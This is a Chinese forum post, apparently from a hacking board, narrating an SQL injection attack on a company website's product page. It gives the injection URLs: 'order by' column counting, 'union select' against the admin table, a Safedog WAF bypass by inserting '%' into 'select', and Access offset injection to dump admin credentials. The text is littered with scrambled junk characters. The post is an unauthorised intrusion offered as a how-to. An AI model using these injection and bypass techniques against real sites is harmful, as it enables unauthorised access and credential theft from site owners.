打开网站，一个企业站。 N! E+ v) a0 C. l8 x- u
9 D' w0 q" z; A2 T+ M2 h7 K# F6 F" W. h1 H: ^/ S/ k
顺手加个admin
& b2 n. O' O( C) V+ m- G" `4 Q. m* i+ ?* q5 }
$ q5 s9 F, ~; f
默认后台。
' H$ W, H# i0 o8 q6 q7 y6 ]# [# ~回到首页点开个产点连接在参数后面加上：and 1=1,发现有狗。# F" Z8 K" V/ h/ U
2 H2 M ^5 Q' V- y/ u7 @0 t3 A
- I- F) w* `, s! E+ G0 e$ X
8 K- L( W+ D% _9 |
所以就不用御剑扫了，待会直接封IP。2 E/ w( \" Q- W; h# ?
7 }4 R. z$ P; N3 u
用order by语句判断是否存在注入。2 e3 k% E0 c( H: Z( j6 n
http://www.xxx.com /product_show.asp?id=997 order by 1
3 P2 M. O9 _# v* [& Rhttp://www.xxx.com /product_show.asp?id=997 order by 100
+ q2 k) i" h: I' U* E+ `7 B现在存在注入，经测试后发现是9个字段。; m$ B1 Q9 T' {6 I& |4 p
i& ~5 [1 R1 y: f- R/ W0 y6 E
接下来进行联合查询，猜是否存在admin表。
' y0 ^# s% R# whttp://www.xxx.com /product_show.asp?id=997+union+select+1,2,3,4,5,6,7,8+from+admin 被狗拦截。9 K' } j1 z1 y3 a' f. f
" L4 x5 f5 m6 c
Z- t. u7 G5 J' y3 D2 B! r7 q+ R4 a
6 a7 A* ~& e v在select中间加个%,se%lect绕过安全狗。
6 |2 C+ P- f4 Q5 G+ e4 b) o) J2 j. L9 t; j
9 E! G0 K7 V2 ]/ A: `" C. }
发现存在admin表，然后开始手工猜常用的字段。3 L: ?0 s) B9 G; j0 t
纠结的是手工把常用的字段都猜遍了，也没猜到一个字段。陷入迷茫中。
6 K! H1 \+ R( a2 z2 v " ~8 P+ q9 c2 i$ y ?
突然想起之前看到的一篇关于access偏移注入的文章，文章就是说在注入猜不到字段时可以尝试一下这个方法，之前我特地去测试过这种方法，但是爆不出来，也没太在意。现在也只能试一下这种方法，拼一下人品了。
?) `+ A3 Y* U8 Z: J ; @+ Q8 r6 l- x
科普知识就不讲了，如果有不懂的可以加我Q：519582321 一起交流，有深圳的基友也可以加一起搞基情。
1 f" Y1 `% x4 T) ], A) Hhttp://www.xxx.com /product_show.asp?id=997+union+s%elect+1,2,3,4,5,* from+admin
6 @8 L% M t' V! _6 D9 [5 [好了，敏感内容出显了。
% {9 E) n" j5 \2 a0 |4 W0 V2 u0 N
8 H; C6 v7 j% V7 U: O/ N$ D4 m1 i$ ~, I1 p: T9 R" ?1 _7 ]
/ ?& y/ N$ g8 Z8 g5 B6 u( O |
发表于 2013-3-8 21:49:45
收藏
支持
反对